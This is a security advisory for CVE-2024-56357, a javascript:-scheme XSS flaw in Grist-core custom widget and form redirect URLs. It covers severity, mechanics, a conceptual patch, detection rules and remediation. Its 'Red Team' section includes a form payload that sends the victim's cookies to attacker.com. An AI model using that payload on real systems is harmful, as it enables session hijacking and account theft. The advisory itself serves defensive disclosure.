CVE-2024-56357

Executive Summary

CVE-2024-56357 is a critical cross-site scripting (XSS) vulnerability in Grist-core, a spreadsheet hosting server. The flaw allows an attacker to inject malicious JavaScript code via the javascript: scheme in custom widget URLs and form redirect URLs. A user visiting a malicious document or submitting a malicious form could have their account compromised, leading to data theft, session hijacking, or further lateral movement within the application. The vulnerability has been patched in version 1.3.1. Users are strongly advised to upgrade immediately. If upgrading is not possible, users should avoid visiting documents or forms prepared by untrusted sources.

Supply Chain & Package Security

Grist-core is an open-source project distributed via npm and GitHub. The vulnerability affects all versions prior to 1.3.1. Organizations using Grist-core should verify their deployment version and apply the patch as soon as possible. The package is not known to be affected by any supply chain compromise, but the risk of malicious documents or forms being shared remains high.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is rated High due to the low complexity of exploitation and the potential for full account compromise. User interaction is required, but the attack can be triggered by simply visiting a malicious document or submitting a form.

Deep Dive & Mechanics

The vulnerability resides in the handling of custom widget URLs and form redirect URLs within Grist-core. The application fails to properly sanitize or validate the URL scheme, allowing the use of the javascript: scheme. When a user interacts with a malicious document or form, the browser executes the JavaScript code embedded in the URL, leading to XSS.

The attack flow is as follows:

1. An attacker creates a malicious document or form containing a custom widget URL or redirect URL with the javascript: scheme.
2. The attacker shares the document or form with a victim.
3. The victim opens the document or submits the form.
4. The browser executes the JavaScript code, which can steal cookies, session tokens, or perform actions on behalf of the victim.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The patch in version 1.3.1 likely adds validation to reject javascript: URLs or sanitizes the input to prevent code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Example of vulnerable URL handling
function setWidgetUrl(url) {
    // No validation of URL scheme
    document.getElementById('widget').src = url;
}

Patched Code (Conceptual):

// Example of patched URL handling
function setWidgetUrl(url) {
    // Validate URL scheme
    const allowedSchemes = ['http:', 'https:', 'ftp:'];
    const parsedUrl = new URL(url);
    if (!allowedSchemes.includes(parsedUrl.protocol)) {
        throw new Error('Invalid URL scheme');
    }
    document.getElementById('widget').src = url;
}

The patched version explicitly checks the URL scheme against a whitelist of allowed protocols, blocking dangerous schemes like javascript:.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would craft a malicious document or form with a custom widget URL or redirect URL containing a javascript: payload. Example:

<!-- Malicious widget URL -->
<iframe src="javascript:alert('XSS')"></iframe>

Or via a form redirect:

<form action="javascript:document.location='http://attacker.com/steal?cookie='+document.cookie">
    <input type="submit" value="Submit">
</form>

The attacker would then share the document or form with the victim. Upon interaction, the JavaScript executes.

Blue Team

To detect exploitation attempts, monitor for:

• Unusual URL schemes in widget or redirect parameters.
• Logs showing javascript: URLs in requests.
• Anomalous behavior in user sessions, such as unexpected redirects or cookie theft.

Indicators of Compromise (IOCs)

• Network: Requests containing javascript: in widget or redirect URL parameters.
• Logs: User agents or referrers indicating interaction with malicious documents.
• File: Documents or forms with embedded javascript: URLs.
• Behavior: Unexpected session timeouts or account activity from unknown locations.

Detection Engineering

YARA Rule

rule CVE_2024_56357_Grist_XSS {
    meta:
        description = "Detects malicious documents or forms exploiting CVE-2024-56357"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56357"
    strings:
        $javascript_url = /javascript:[^\s"']+/ nocase
    condition:
        $javascript_url
}

Sigma Rule

title: Detection of CVE-2024-56357 Exploitation Attempts
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects requests containing javascript: scheme in widget or redirect URLs
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: grist-core
detection:
    selection:
        url|contains: "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of javascript: in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56357 Grist-core XSS Attempt"; flow:to_server; content:"javascript:"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Grist-core version 1.3.1 or later.
2. Workaround: If upgrading is not possible, restrict access to untrusted documents and forms. Educate users to avoid opening documents from unknown sources.
3. Long-term: Implement input validation and output encoding for all user-supplied URLs. Use a whitelist of allowed URL schemes.
4. Monitoring: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.
5. Incident Response: If exploitation is suspected, rotate all session tokens and review user accounts for unauthorized access.

Valters IT